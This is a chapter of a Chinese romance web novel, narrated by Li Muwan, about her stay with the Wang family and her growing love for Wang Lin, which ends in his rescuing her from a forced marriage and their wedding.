王婶和王叔热情,替我收拾了新的房间,特意抱了干净的被褥,我很高兴能有落脚之地,只是初来乍到拘谨是难免的。 我听见王林在堂屋与二老的谈笑,原来他是会笑的。 并不像我所见时那么冷漠无情,或许他的冷漠只是因我的到来,扰乱了他的计划,给他徒增了麻烦,又或是他在防备我,故而特意表现如此的? 我猜不准,但我觉得他身上有许多不为人知的,我说不上来是什么感觉。这种感觉不像在京城时面对世家公子的淡漠无畏,而是一种想要探知的兴致。 另外,有趣的是,王婶喊他“铁柱”,这是什么名字? 我带着疑惑,好端端一表人才的少年,如何会叫这么个名字。 王婶说,是因着小时候他体弱多病,故而才取了这么一个糙名,老话说这样好养活。 这倒是听闻祖父说过。 铁柱,这个名字与他…… 还挺奇怪的,可是后来听习惯后,我便把这种想法丢掉了。夜晚的竹林被风刮着,发出难以入眠的声音,我无法安睡,心里念着哥哥。 *** 闲来无事,我瞧见竹林小道上都是春日新开的花卉,正好用来装点小院,这小院布局不错,若是收拾一番,必然焕然一新。 我与王叔提议,把那些杂乱的木枝堆到后院,把前院腾出来,王叔答应了。 若想在王家久留,我寻思着应该找点生计谋生,不能只是倚仗王家的接济,若是能赚些银两,还能补贴王叔王婶。 王林带我到镇子上寄了信,我不知道哥哥在哪,但是我们说好去燕州的,他寻不到我,想必会先去燕州安定下来。 如此我把信寄去燕州,或许能联系上哥哥,以防万一,我还多寄了一封去京城。 王林特意询问了掌柜我寄出去的信,我知道他提防我,至于我的身世,出于私心,我无法与他明说。 第一封信我没有把握哥哥能收到,是以信里并未提及太多,即便他拦下我的信也无妨。 天麓山山匪冲我来的,倘若他们受人之托,却未终人之事,以京城办事的规矩,不会留着天麓山山匪,死人才能保守秘密。若山匪聪明,我与哥哥逃生的事情必然不会告知京城。 那么我与哥哥此刻在京城眼里,已经是死人了。 死人不会对他们有任何威胁,即便如此,我也不能与王林坦言,我不确定他会不会相信我,接受我继续留下王家村。 是以,我隐瞒了身世,即便他话语几次三番有意无意试探,我只能状若不明其意。 *** 王林总是待在自己屋里温书,沉默寡言,我猜想他此次上京赶考不成,必然心有愧疚,倘若他未伸手相救,也不会滞留山上。或许眼下已经完成会试考核。 我接受他对我的防备和堤防,是以那些冷漠与淡然,我都可以视而不见,只是希望借宿王家时日,能为王家出些绵薄之力,以报王林救命之恩,报王家收留之情。 我跟着王婶打理家务,收拾小院,忙活女工,只是希望能偿还王家人的恩情。 王家村村民大部分以采药为生,我想或许能借此谋生。 清平镇物产丰饶,又临港口,诸多外商途径码头,药材销路自是不必担忧,或许我还能借此机遇炼制丹药,丹药所卖价格高,能赚到更多的银子,而王家村外的山头遍地药材,为我炼制丹药也提供了便利。 我用药材炼制的第一批丹药,便是简易的安神香和提神香,王林备考温书伤神,提神香有助于清神醒脑。 可我不知他没有焚香的习惯,他并未领我的情。 不过习惯是可以培养的,我自作主张在他房里点上香,若他不信我,觉得我有旁的心思,大可把提神香拿去药房,一问便知。 白日与花影上山采药,日子过得充实,只是从前习惯夜里与哥哥一同看书辩论,望着漫长寂夜,我又思念哥哥了。 窗台下的山茶传出芳香,我望着院子布置的景致,视线被西厢房一抹光亮吸引,从东厢房窗台看去,能看见王林在烛光下温书的身影。 哥哥从前也是勤勉,可会劳逸结合,与三五好友同窗喝酒听戏对弈诗文,而我住进王家,从未见过王林外出与好友玩乐。 原以为哥哥已是自律勤勉,不想更有甚者。 就是不知他这人才学如何。 清明临近,王家村雨水连下几日,周婶患有腿疾,发作时并不好受,祖父原先的行医手札有记载,我看过一些,可以凭借记忆为周婶治疗缓解疼痛。 为此我让王林陪我到王浩家借医书,田间被雨水浇透了,田埂泥泞难行,我走不习惯,王林放慢脚步,我原以为他不会等我,可过后我才知道,雨水淋湿了他的肩头,而我却未沾半滴雨水。 他虽冷漠,除了性子孤僻一些,不爱说话,却有风度,倒也没有别的短处了。 周婶最近要给王林议亲,还要我给意见,我看了画像,都是与我年纪相仿的女子,各有各的好。 我自知成亲要两情相悦,可自古父母之命媒妁之言,我不知他心里如何想的,但是周婶既然开口,我便愿意替她解困。 从三幅画像里挑了个我自认与他最合适的女子,叶清儿。 王叔和周婶都很高兴,家成业立,这是周婶常挂在嘴边的一句话。 他们希望王林考取功名,早日成家,可他错失了机遇,只能再等两年,自是先着手考虑成家一事了。 若王林成家,定然需要银子,王家过得朴素,可王叔以木雕为生,家境不应如此拮据才对,必然是因着王林上京赶考,银子都攒着给他了。 若我能替王家解困,也算报答他的相救之恩。 王叔的木雕手艺精湛,我在京城也瞧过木雕,只是没有见过雕刻的过程,我想王叔能雕一个小像给我,摆在窗台下,王叔说王林也能刻。 我正诧异时,他却冷漠应着,“没空。” 还是这副样子,我早已习惯了。 他要温书,确实也没空给我雕。 往后我白日上山采药,夜里便在他屋里看书,仿若又回到从前在京城与哥哥一块挑灯夜读的时日,我喜欢这种感觉,替他点灯添茶,我能感觉到他也习惯了我的存在。 允我自由出入他的房间,可我除了更换插花,添茶点灯,看书,也没有出入他房间的必要。 无意间我看见他纸张写了吴师道的策问,与他谈论几句,只言片语中,我便知晓他眼界宽阔,对策论的见解读到。 我不能表现太多,为了避免引起他的疑心,我只能隐藏自己的论述,佯装不懂地问了他几个深奥的问题,可他答得严丝合缝。 那一刻我心情变得尤为复杂,以他才学,若是此次入京必定能取得功名,是我连累的他。 之后我上山采药,遇见了花溪村的两个小混混,他们在村口堵住我回家的路。我害怕,与他二人周旋,却发觉二人是听不懂利弊的无赖。 这是除了山匪外,我第一次遇见难缠的混混,以往在京城受了纠缠,只要我说一两句话,他们便能知进退,又或是有哥哥替我解围,此刻我希望哥哥的出现。 我对哥哥的思念达到了极致。 就在我两难之下,昏暗中,一抹熟悉的身影和声音出现,是王林。 我毫无顾忌的跑向他,那是我认为最为安全的位置,至少我知道他不会伤害我。 王林教训了两个登徒子,我才得知这二人是花溪村有名的混混。 只是没过几日,他二人又来村口堵我,本想着绕开他们的,却见有些不对劲,原是葛阳中了蛇毒,恰逢我背篓里采了些清热解毒的药草。 替他解毒不是难事,他二人虽混,可还算仗义,至少葛阳中蛇毒后,许浩愿意替他吸出蛇毒。 不过这是笨蛋才会想出的办法,许浩吸了蛇毒,自身也中了蛇毒,我替二人解毒,与他们商谈了条件,往后不许再在王家村欺负弱小,不许寻我的麻烦。 我以为此事就此作罢,可翌日昏暮,我在村口又遇见了葛阳,第一反应便是他要出尔反尔,他解释来报恩的。 见他没有恶意,又如此热情。 这一幕被王林瞧见,他误认为我与葛阳有牵扯,不听他嘱咐,故而生了我的气。 吃饭时一字未言,脸更臭了,我有些害怕,不敢直视他。 入夜我端了茶水和灯油,在西厢房外唤了几声,没有得到他的回应,他还气着吗? 吃饭时周婶要他与叶清儿相看是否合意,他似乎兴致也不高,我不知他怎么了。 我在厨房帮忙收拾碗筷,王林的身影走近来。 他的眼神透着一股寒意,我害怕躲着视线,为着昨日之事,心有委屈,“义兄是还在责备婉儿吗?” “李慕婉,”王林语气很不好。 他脾气怎的这般大? “义兄.......” “按你的意思,我不该责备,还得感谢你可对?” 他是还因着昨日葛阳的事在与我置气吗? 他还气着。 “婉儿没有这个意思,借住家中已是叨扰,若再给义兄和王叔周婶添麻烦,婉儿心中有愧。”我自知在王家给他们添了不少麻烦,我也在尽可能弥补,把卖出去的药草赚的钱都给周婶补贴了家用。 “若你当真这么想,你不是该搬出去住么?”王林冷漠说。 “什么?”我不明白他的意思。 “既然你那么贴心替我娘给我选了个好姑娘,我既是要成亲了,你一个外人住在我们家,合适吗?”王林敛眸凛声道,将我那点最后的自尊心击溃。 若非无处可去,若非不能与哥哥取得联系,我也不愿意叨扰王家。 周婶操持一生患有腿疾,王叔辛苦大半辈子落下腰伤,本这一切苦累在王林取得功名后都会迎刃而解,是我造成了王家如今的局面。 他怨我怪我也是应当的。 “那你搬出去啊。”王林咄咄逼人之势,让我楞在原地许久。 思虑过后我寻花影问了租房一事,这事必须得赶在王家和叶家定亲前办成,不若即便二人相看成了,难免叶家不会因着王家住进一个外人而嫌弃王家。 我整理好思绪,筹划租房之事,只是进展不大,不过我能处理好,王林知道我在外边寻房子,此事我瞒着王叔周婶,是不想他们责怪王林。 谁知王叔周婶早已商议要认我做女儿,如此名义上我与王林是兄妹,即便叶家也不会说什么。 我不知道王叔周婶为了我愿意做到这般,他们让我叫王林“阿兄”,我只能坦言外出寻找房子一事。 王叔说镇子上有打铁花的节目,王叔让阿兄带我去镇上看,得知清平镇还有这种节目,来王家村许久未感受繁闹的我无比雀跃,我望着阿兄,期待他应下带我一块去。 “没有时间。”阿兄拒绝了。 “铁柱,一个晚上不耽误事的。”周婶劝解他。 我不知他是当真不想去,还是只是不想与我同去。 为了不让他为难,我只能收起失落,宽慰周婶,“阿兄有压力,婉儿也不是很想看的,不要为难他了。” 他并未理我。【你现在阅读的是魔蝎小说 moxiexs】 80、婉儿 我喜欢王家村,喜欢竹林小院,喜欢与王家人相处的日子,王家村朴素的日子似乎一日一日地抹去我在京城生活的记忆,这些记忆在试图取代从前种种。 我撑在窗台下遐思,西厢房的光亮透出小院,阿兄在温书。 我想着晚些再去送茶水,若他还将我挡门外,那就是还气着。 王浩和王卓没多时来小院寻他去镇上看打铁花,原以为阿兄会拒绝,可他爽快应下了。 我从窗台移到屋檐下,与二人打了招呼,期待他们会叫上我一块去,可阿兄率先说:“她不会想去的。” 我颓然垂下眸子,把失落藏起,漾出笑,“阿兄说得对,镇子离得远,回来也要后半夜了,你们玩得尽兴。” 可我仍然期待阿兄会回头看我一眼,唤我一道前去,而他的身影已经出了院门。 王浩再次确认,“你当真不去?” “嗯。”我忍着委屈,闷得难受,却不知这股窒息从何而来,若只是阿兄的态度,这几月我应该早已习以为常了。 可我还是会难过。 他再不喜欢我,防备我,也该不会说了那些狠话后,还这般待我生疏,难不成还是因着我未能搬出去的原因吗? 好在花影来了,我同花影一道去,不是跟着他。若阿兄不喜我跟着,我自个去,他便不会再责怪我了吧。 果然打铁花不论京城还是清平镇,都一样热闹。 人群中,我被一男子纠缠着,慌乱中是阿兄替我解了围,我高兴之余又很害怕他见着我不快。 他并未说别的,拉过我,把我护在身前,他替我出头教训恶徒,却还是面无表情,这种情况下,我并不害怕他了,他在保护我。 我低头隐藏着笑意,一夜的阴霾在这一刻驱散了,有他在我不怕再被人群挤着,我把后背安心的交给他。 烟火四散时,身后隐约传来一道声音,很温柔很温柔。 “好看吗?” 我抬眼看见阿兄分明的轮廓,那双眸子透着柔情,飞散的火花打乱我,是不是看错了? 错觉吗? 铁花再次四散,我忙答道,“好看。” “嗯。” 节目结束后,花影几人要去喝酒,我们遇着叶清儿,这好似还是阿兄与叶清儿第一次相见,我倒是挺想看看木讷的阿兄对上叶清儿会是何种模样。 花影他们也跟着起哄,有点恶趣,但也好玩儿。就算在百松书院里,同窗也会这么取笑那些暗送秋波的少年少女。 只是阿兄对着清儿阿姐怎么还是如此冷冰冰的,花影和我说清儿阿姐该不会被阿兄吓跑了。 可是没有,清儿阿姐面对阿兄时,虽会害羞,却不怯,这点比我之前要强。他们拉着我说话,似乎故意要撇下阿兄和叶清儿,好让他们独处。 也好,反正周婶安排了他们相见的,早几日也无妨。 只是不知为何,阿兄一个人回来,我没看见清儿阿姐,阿兄好像又不高兴了。 花影王浩想让我去王卓家再喝点,可阿兄的表情明显不悦,我也没了兴致,他不去,我也不想去了。 回家路上,我问起二人进展。 阿兄并不大乐意提及,说话时火药味浓得很。 “我成婚,你很高兴?”阿兄的眼神,锁着不快与难受。 这让我陷入困惑,看铁花的时候还好好的,怎么又变了。 “这是喜事,自然高兴。”我不知道他是怎么了,阴晴不定的。 他质问我。 “李慕婉!你替我娘选了叶清儿是觉得我会喜欢她,是吗?” 他的气息压着我,前所未有的压迫,“清儿阿姐人好,又识诗书,与阿兄有话题能谈,又与王家门当户对。” “自是很好的选择。” “阿兄这是怎么了?” 他步步紧逼,诉说心中不快,我只能不断后退。 原是他不喜欢叶清儿,我这才知晓,他也并非只是想要一个门当户对凑合过日子的伴侣。 是我想错了,我总以为他会为了爹娘,接受安排的人,可我忘记了,他的性子,不该是这样的。 “我不想成婚!”这是阿兄与我说得最明白的话。 他说的对,成亲就是该与欢喜之人才对。 可当我想明白时,田埂榻了,落水之际,是阿兄拉住我。 摔入水田的本该是我,他把我护在怀里,他的胸膛很结实。我闻到他身上的酒香,那是我如此近距离的与他贴近,我的心跳动的很快。 田间蛙声在这一刻仿若静止,黑夜里我看不清他的脸,却能感受到他温热的气息,我似乎在贪恋这种接触,晚风打着我的面颊,把那些杂绪吹散。 我故作慌忙整理着衣裳,却发现娘亲送的簪子不见了。 阿兄瞧我着急,又踏进田里寻了多时,凉水浸湿了他的衣裳,我身上却是干的,风袭入时冷意横生,阿兄更不必说。 我藏起失落,装作若无其事的模样,唤着他回去。 阿兄答应为我刻一支簪子,我很高兴。 可娘亲的簪子回不来了,也许这就是天意吧,上天要我接受王家村的一切,忘掉京城的前尘往事,可为何连娘亲的簪子也不给我留。 第二日阿兄替我刻了一支桃木簪,还是莲花样式,我很喜欢。 我把那支簪子看得很重要,不仅仅是因为失去了原有的,而是阿兄特意雕刻送我的。 不知阿兄是不是刻这个簪子累着了,温书时趴在桌上睡着了,这还是我第一次见他如此放松。 我鼓起勇气,鬼使神差的想要端详他,一旦产生这种想法,便仿若抑制不住。 阿兄五官生的俊朗,睡着时眉宇是舒展的,没了平日的凌厉,一副书生清朗温润的气质,这样的他倒是很少见。 我竟然有些痴醉,忍不住想要触碰,指尖划过鼻梁时,是冰凉的,肌肤细腻白皙。竹林的风刮掉了落叶,我从失魂中惊醒,这还是我第一次如此放肆地窥视他。 我自知不对,可却享受这种感觉,此刻的我似踩着一朵白云,飘在碧落中。 自此后,我似乎总喜欢有意无意盯着他五官看,尤其是眼睛,又不敢太过明目张胆。 *** 哥哥一直没有回信,我只能又去镇子等信,燕州来的商船很多,可为何还是没有,我害怕哥哥出事,害怕她不知道我是否安好。 我把一日的希望一点点消耗,攒成失望。那是我第一次如此溃泄,我努力堵住这股难受,我不想哭。 可是越发克制不住,反正也不在竹林小院,或许哭出来就好了,不若回去周婶发觉定会担心的。 正当我发泄时,身后有人唤了我,我只沉浸在悲伤中不能自已。 是阿兄,他怎么在这? 我见着他,满腔的委屈霎时流露,哭得越发泣不成声。 我看见他的手足无措,他定然没有哄过女孩,只会一遍遍说不要哭,谁这么干巴巴安慰人的,有效才怪呢。 我哭得更大声了,好不容易以为有个人能安慰我,阿兄竟是个木头。 但是他与我说了会话,哭过后也没那么难受,就是不知他会如何看我…… 会不会觉着我无用懦弱,爱哭…… 更不喜欢我了…… 马车上几个大哥说着家常,我听不懂,但是日暮前的日落好看,金色裹着麦浪,微风轻抚,把我的难受吹在了绿野上,带到无边的天际,洒回大地。 不过他们口中的青粉楼似乎着实有趣,我忍不住问了阿兄。 “阿兄,青粉楼是做什么的?” 阿兄又不高兴了。 “阿兄?” “喝酒的。” 阿兄被我问烦了。 心里的委屈又荡起,我试图他能明白我此刻需要安慰,不能凶。 故而又提往后叫上花影他们一块去青粉楼喝酒。 可那几个大哥说青粉楼是青楼。 我看了阿兄一眼,他的表情明明是知晓的,却仿若愚弄我,我不确定,又听那几个人说,“你阿兄指不定已经去过了。” 我本该知道他不是那种人,可却忍不住想问,看过去的神情也变了。 阿兄更不高兴了。 我不知道哪里又惹了他,他拉着我下车,可离村口还有好远,我想坐马车…… 索性他已经气着了,我便问,“阿兄当真去过青粉楼吗?” 果然,他生气了。 虽说今日没收到哥哥的信哭了,可阿兄与我说不必搬走,他不相看了,未考取功名前不会成婚,那就意味着我可以一直住在着,至少还有一年多时间。 我居然有些庆幸,是庆幸我能留在王家,不必出去找房子了吗? 回到小院后,阿兄拿了我的木雕小像送我,我才知道是他给我雕的,先前王叔让他刻一个给我,他又不愿意,眼下又肯了。 这会拿出来,是因为我今日哭了么?哄我用的? 那他也不全是个木头嘛,我拿着小像高兴地望着他。仿若在他脸上闪过一丝怪异,是我看错了吗? 夜里我在阿兄房里与他对弈诗文,他兴致比往日都好,他今日似乎心情不错,我说什么他都应着。 我在他的对弈中看见了他的意气风发,许久未从如此酣畅淋漓地讨论诗文了。 灯油尽了,我们都未察觉。屋子很快暗下,窗外的光线微弱,可我对屋子并不算熟悉,尤其是内室,不小心碰撞了桌角,阿兄过来点灯时,我不小心蹭着他了。 我又不慎撞到桌案,惊慌中一只手臂抵住我后腰,气息滚上来,是阿兄身上的味道,我不知该做何反应,心却止不住跳,那是第二次我们贴的这般近,而这次我更是手足无措。 可他却好像毫无反应,我只能仓皇而逃。 回来自己房里,努力回想那时的情景,我看不见他表情,不知他是否会不会又不高兴,该不该解释一下? 这一晚,我睡得并不好。 *** 后来王叔周婶去县城,独留我和阿兄在家。可阿兄也要去镇子,把我一人撇下了,他似乎早就盘算好要丢下我一人,我明明说了害怕一人在家,他并不理会。 我只能去花影家散心,可谢三婶宽慰我,阿兄是为了我的声誉才不愿与我独处。 阿兄正直,我并不害怕他起旁的心思,我只害怕黑,又期望他能回来。 直到夜深就寝时,院外熟悉的声音,是他回来了,那一刻我像被暖阳笼罩,兴奋地去迎他。 他嘴上说着是计划有变,可我总觉得是因为我…… 我想多了吗? 小院里与他独处的时日,我发觉越发想要与他走近,但凡得空我都会到西厢房看书,即使不说话,也好。 白日我还是会上山采药,阿兄回来的早会做好饭等我,若我天黑还未回,他便会到村口等,他什么都没说,见着我到村口,转身走在我前头,也没说特意来等我的。 我故意问他,“阿兄是来等我的么?” “我答应了爹娘,要照看好你。”这是他的说辞。 好吧,虽有些许失落,但还是开心。 又一日,我回家时路遇叶清儿姐妹,叶敏儿因着王家的事有意为难我,我不在意她言语奚落我。 可她句句羞辱阿兄,我心生怒意,势必要与她论道论道,可她趁我无防备时动粗,阿兄来了。 我原以为他会责怪我,可他没有,只是护着我。 什么也没问我,就只是坚定地维护我。 我的脚被叶敏儿推倒时崴了,无法走路,我想要阿兄背我。 他没拒绝,阿兄的背很宽,趴在上面跟哥哥的一样,让我很有安全感,以至于我放下所有防备,在阿兄背上睡着了。 *** 原来我才知晓,看打铁花那夜,他帮我寻回了娘亲留的莲花钗,上面有修复的痕迹,定是寻回后坏了,阿兄才拿去修的。 他原也不是那么木讷,只是不爱表达,可我知晓,他是为着我。 他记着我说过的话,那是娘亲留的遗物。所以他才这般上心,当我细想时,雕像,桃木簪,莲花钗。 又怎不是他的诚意? 当然,这些只是我的猜想。 王叔周婶回来后,阿兄没再去镇上讲学,可家里今日来了不速之客,张屠带人闯进小院,砸坏了家具和花草,药草也都全洒了。 若非张屠大闹一场,我并不知晓王家在外欠了债务,而这债还是王叔为阿兄上京赶考借来的。 因着这几十两,王叔周婶险些被张屠几人打伤。我害怕,可我必须站出来,周婶王叔待我不薄,收留我,照顾我。王家于我有恩,阿兄相救之恩,于情于理我都得护他双亲。 即便张屠等人要拿人命交换,以我性命若能救下二老,我也愿意拼死相护。 经此一事,我更加明白了,阿兄原先的冷漠,或许是自己过不下那道坎,是我让王家陷入如今困境。 可他从未有过责怪之意,反而为了宽慰我,替我上药。 *** 此后,他对我的态度有所缓和。阿兄去竹林采了花,还答应替我寻些花草重新养在院里,他应是为着哄我的吧。 我们一块看了落日,我每问一句话,他都愿意回答我,还会主动带我到树上看落日,只是我不会爬树。 我还在困窘之余,听见阿兄说了一句。 “抱紧。” 抱紧什么?我当时脑子是乱的,可随即阿兄手臂便绕到我腰后,我只觉一阵轻盈,便到了树上。 我心跳的很快,视线移到他身上时,却见他若无其事的望着远处霞光。 我只能把心底的杂绪丢到九霄云外,落日打在他轮廓上,多了几分柔和,阿兄长得很好看。 与云霞一样好看。 我们坐在树枝上,望着天际云霞,时光仿若静止,我很享受这一刻的独处,虽阿兄没有说话,我却觉得我们的心近了。 云霞落后,阿兄跃下树枝,收拾书本准备回家,却要丢下我一个人。 我慌了,连忙喊住他。 “阿兄,我还没下来。” “跳下来。” 可是太高了,我不敢,只能无助的投去目光,明明是他不经我意抱上来的,而今却置之不理,看完落日就翻脸么? 正当我遐想之余,见阿兄张开手臂,嘴角似乎带着若有似无的笑意。 “跳下来,我接着你。” 我楞了一息,并非不信他,只是诧异。 仅仅一息,我跳入阿兄怀里,他稳稳地接住了我。 阿兄的怀抱很温暖,很结实。 回家的路上我与他说话,他也不会爱答不理,阿兄果真变了。 我心里高兴着。 *** 王家村快入冬了,在连续几个月的书信后,我终于收到了哥哥的回信,我每日盼着他,等着他。 我期待见到哥哥,却又失落,又害怕离开王家村,离开竹林小院,离开阿兄…… 我也不知为何会生出这种想法,见到哥哥我是高兴的,在哥哥那得知燕州不能安定时,我第一时间想要劝说哥哥留下来。 哥哥似乎察觉了我的心意,他揭露我的心意,这让我恍惚察觉,自己对阿兄,已经,已经有不同的感情了。 伴随着这种想法,离开与初起的情意交织,让我变得难受与痛苦。 阿兄会不会也有这种感觉,他会舍不得我吗? 离去前夕,阿兄把身份鱼符交还与我,还说从此各不相欠。 我的心,霎时撕裂了。 我忍着委屈,问阿兄往后能不能在回来,他不答我。 阿兄不想我回来…… 阿兄早就想撇掉我这个包袱…… 我想再争取一次。 我鼓起勇气又问阿兄,往后能不能来镇上看看我。 阿兄还是不答。我垂下眸子,暗自伤神。 “若我去了镇子,有空便去看看你。”阿兄应我了,他答应会来看我。 这几日的阴郁,在得到他的许诺,都仿若不存在了。 我和哥哥在镇上开了药铺,我还是会隔山差五回竹林小院,阿兄也没说什么,倒是每次回去的时候,我在堂屋陪着王叔周婶谈话时,阿兄也都一直坐在一旁。 我偷瞄的时候,还看见了阿兄在笑。 不知道他是不是因为我回来开心,还是因为王叔和周婶开心他才开心。 但是王叔周婶见着我开心,那阿兄也就开心了。 既如此,往后我常回来便是。 *** 新年将至,周婶叫我和哥哥去竹林小院过年,我自然愿意的。 我给阿兄带了糖葫芦,哥哥赠了一副棋盘,我还没见阿兄下过棋呢,原是才知道,阿兄的棋艺竟然这般好。 就连哥哥也略输一筹。 雪下大了,夜也深了,临走时,阿兄送了我一枝白梅。 可哥哥提醒我,阿兄是要去京城的人,他若考得功名,便不会再回来。 那是我第一次失声,我知道,从一开始正视我对阿兄这份情意的时候便知道。 只是我从未肖想过什么,阿兄不知我的身世,倘若他知道了,会如何? 哥哥要我放下,我放不下。 若阿兄当真考得功名留在京城,那我便收起这份情意,过好自己的生活,我还是会在清平镇,逃避没有用,欺骗自己也没有用。 我把对阿兄的心意,都宣泄在那场践行的酒水里,那一夜我睡得很沉,仿若做了一个很长很长的梦。 梦见我摁着阿兄,胆大包天的亲了他。 他没有回应我,却搂着我,在我耳边呢喃着我听不清的话,我似乎感受到他身上的温度和气息。 仿若在他怀中睡了一夜,可醒来这些都没有发生,我确定那只是一场梦。 元宵过后阿兄便上京了,京城暗流涌动,尤其是官场,我了解阿兄为人,官场的尔虞我诈,他若看清了,想必会难受。 我不知道他的路会如何,他考了功名,那意味着我们会分道扬镳,我只想让他安心,我承诺替他照顾王叔周婶。 送行时,阿兄替我擦了汗,赶路的疲惫仿若散完了,在一刻成了甜。 “等我回来。” 阿兄紧锁的眉眼舒开,眸子的柔情化了,他是在承诺我。 他说过的话从不会食言的。 等阿兄回来,我记着这句话。 一年来,阿兄寄回的家书,我都替王叔周婶念,又替他们回信。 又是一年,阿兄在京城已经备考一年了。 春日将至,会试来临。 我心里期待着阿兄能考上,又害怕他不会回来。 那种复杂的情绪让我很不好受,直到哥哥与我说,阿兄因李元朗逼婚,身陷京城不得回乡。 是我想简单了,阿兄不过是普通寒门学子,即便考上功名,也无权与世家权势敌对。 而在哥哥的话语中,我获得一条信息。 阿兄在李元朗逼婚时,说家中已有妻子。 是以,阿兄口中的妻子,是我? 是他心中所想?还是为了搪塞而寻得借口? 以阿兄的性子,若非他心中有意,定然不会随意拿女子当做借口。 他待我心诚,我又怎可以一己之私,让他两难。 这让我欣喜又难受。 *** 我与阿兄再见面时,我已是待嫁之人,哥哥陷入药材一案,被县衙困住了人,孙家以私利乘人之危。 我害怕哥哥如当年爹娘一样,只能先答应孙家的要求,此举也并非一无是处,至少能让阿兄知晓。 若阿兄于我有情,那便断了这情,阿兄在京城少些掣肘,能一心一意为朝廷,江山社稷,为万民献策。 成一番凌云之志。 只是我明明已经断了念想,再见他时,心中隐藏已久的情愫奔涌而出,我还是想争取,想留下他,想告诉他,那并非是我心意。 可我不能如此自私。 我不想他来参加大婚典礼,不想让他看见我嫁作他人,可我只能以此试探他的心意。 “恭喜。” 阿兄淡淡的一句恭喜,击破了我最后的自尊心。 我想恨他,却发觉可笑自己有何理由恨他…… 孙镇伟狭隘,带我回竹林小院拜见王叔周婶,我知道他另有目的。 可在那能看见阿兄。 他还是如以前一样冷漠。 自始至终他都未曾与我说过一句话,也未正视我。 他不在意我,却又为何要在李元朗面前说自己已有妻子。 我抑住了想要问个彻底的冲动,回到孙家别苑另作打算。 “开门。” 在我伤神时,阿兄出现了。 我不可置信他会深夜攀爬院墙,可那声音是他的。 我看见阿兄站在窗台下,月色与他融为一起。 我不知道他的来意,心中却很开心。 在得知阿兄计划之后,我才知晓阿兄心里一直惦记着我。 他此番回来,是为我。 *** 大婚在即,之后一个月我都没见过阿兄,但是他说过会带我离开,我信他。 大婚当日,阿兄如神临出现在孙府院墙之上,他拉弓时仿若抵挡千军万马的战将,他的箭羽穿破了孙镇伟的发冠。 孙府护卫如云,阿兄虽说武艺高强,可双拳难敌四手,我担心他的安危,孙镇伟带走了我,我听到前院的厮杀,阿兄会没事的吧...... 孙镇伟疯了,他掐住我的脖颈,我感觉到整个身子悬在栏杆处,窒息的感觉上来堵着我,我挣扎不掉。 却听见撕破暗夜的利箭,孙镇伟倒地不起。 “婉儿。”阿兄立在火光前,我看见他的身影,阿兄张开手臂。 “来。” 他从天麓山救我于水火的画面,在王家村一次次替我解围,离乡时的允诺,诸多回忆滚滚而来,阿兄一次次护我在怀,这就是他,心意都藏在行动中。 我毫无顾忌地纵身跃下,跌入他的怀中。 在他面前,我可以完完全全地将自己交给他,这是我对他的信任。 那是他第一次如此紧紧的搂着我,我能感受到他颤抖的力量,他似乎怕我碎了,抱着不愿松手。 往日的委屈都不重要了。 他哄着我,念着我家书里说的话,原来他把我家书上的碎碎念都记住了。 以往我不知道他对我的感情深到何种地步,但是我看到他身上的伤,他把我看得比他自己还重要。 “不是说好等我回来吗,不作数?” 原来他一直都记着。 我潸然泪下,把那些委屈尽数扑入阿兄怀中,我毫无保留的倾诉自己的情感,什么都不重要了。 当阿兄看见我手腕上的伤痕,我看见他眼底骇然的杀意,那是无尽的占有。我享受这样的他,却又怀着一丝恐惧,不可控的阿兄,我从未见过。 阿兄没有让孙镇伟死的痛快,孙镇伟濒临绝望中感受自己的死亡,那是一种残忍的死法。 我不在意阿兄何种手段抱负,睚眦必报也好,以牙还牙也罢,阿兄做什么,我都支持。 阿兄带我回了竹林小院养伤,我们打破了那层薄纱,互表心意。 那晚我得知阿兄辞去了京城官职,是为我,他还求了一道赐婚圣旨。 就在小小的西厢房,曾经我们无数个夜晚相处的地方,约定终身。 *** 他在书铺写话本攒银子,我以为阿兄缺银子用,他却说。 “娶妻不需要攒银子吗?”我难得见他逗趣,他却似乎故意这般打趣我。 我面颊红了,他却面不改色盯着我。 重阳到了,本想邀约阿兄一块去看灯会的,阿兄居然自己先提了。 这是我与阿兄第一次正式二人独处,身份不一样了。 我自然要重视此次约会,故而多打扮了一下,就一下。 阿兄盯着我看时,我还是不习惯,他的视线过于炽热,眼睛里仿若藏了许多话,他话不多,都装在眸子了。 灯火下,我望着他的轮廓,朝他唇瓣轻点,我心跳骤然跳动不止,原本以为我也能像他一样面不改色,是我高估自己了。 可我不想他看出来,索性转身便走,只让阿兄看得见我的背影。 身后的脚步声近了,指尖似乎触碰到一丝温热,是阿兄的手,他的大掌轻轻握住了我的手。 万家灯火,我们沐浴在暖色里,阿兄的手很暖很暖,我的面颊也很烫,只能别开脸,风吹着我的脸,我嘴角始终上扬。 阿兄带我放了河灯,柳岸漆黑,寂静,仿若能听见彼此的声音,我们眼中都透着情愫,我意会到一个信息。 阿兄想要亲我。 我害怕又期待,但是我没有躲开,定在原地等着他,阿兄呼吸很轻,却被王浩打断了。 阿兄的表情变了。 王浩走后,王卓又来了,阿兄呼吸重了,我看见他眉眼的一股戾气。 应该没错,阿兄不高兴。 原以为王卓走后,我们还可以继续,可他二人再次折返,阿兄鼻尖几乎碰到我,却又打断了。 阿兄生气了。 我也无奈。 他让我在原地等他,真替王卓和王浩担忧,但愿阿兄下手能轻一些。 阿兄回来时,不悦之色已经不见。 保重吧,王浩王卓。 我们坐在清平镇外的塔楼上,晚秋的夜风凉,若非想着好看,早知穿厚一些了。 阿兄似乎察觉到我的不适,将外袍脱下给我御寒。 远处港口船头点着灯火,塔楼上把整个清平镇景色收入眼底,天灯升起。 阿兄的臂弯与我贴的很近,我缓缓靠在他肩头,突如其来的吻让我无处可躲。 阿兄有些霸道,彼此都很生疏,他引着我,全身无力,似乎喝了醉一般,软趴趴的,只能任阿兄带领,渐渐的,那吻变得温柔又强势,我仿若窒息了,无奈之下只能推开他。 松开时,他的眸子还是带着涣散的,不舍与欲念交织,我也一样。阿兄没有进一步动作,但是他看向我的神情,都是温柔,他一遍遍抚着我的轮廓。 “婉儿,我们早些成婚吧。” 我含着热泪,欣喜若狂,依偎在阿兄怀里,他把冷风挡下,我感受他身上的暖意,那是阿兄的气息。 *** 婚期定在秋后,我期待这天的到来,以前京城所见才子众多,踏入李家门槛求亲之人无数,却从未想过我的夫君会是何样的。 我坐在床榻前,火红的帷幔映着他的身影。 阿兄说:“婉儿,往后年年相守,岁岁相伴。” 我与阿兄额心相抵,我栽入他怀中,依着他。那是我余生中,最稳固的靠山。 我的夫君并非是那京城的高门子弟,也非朝中新贵。 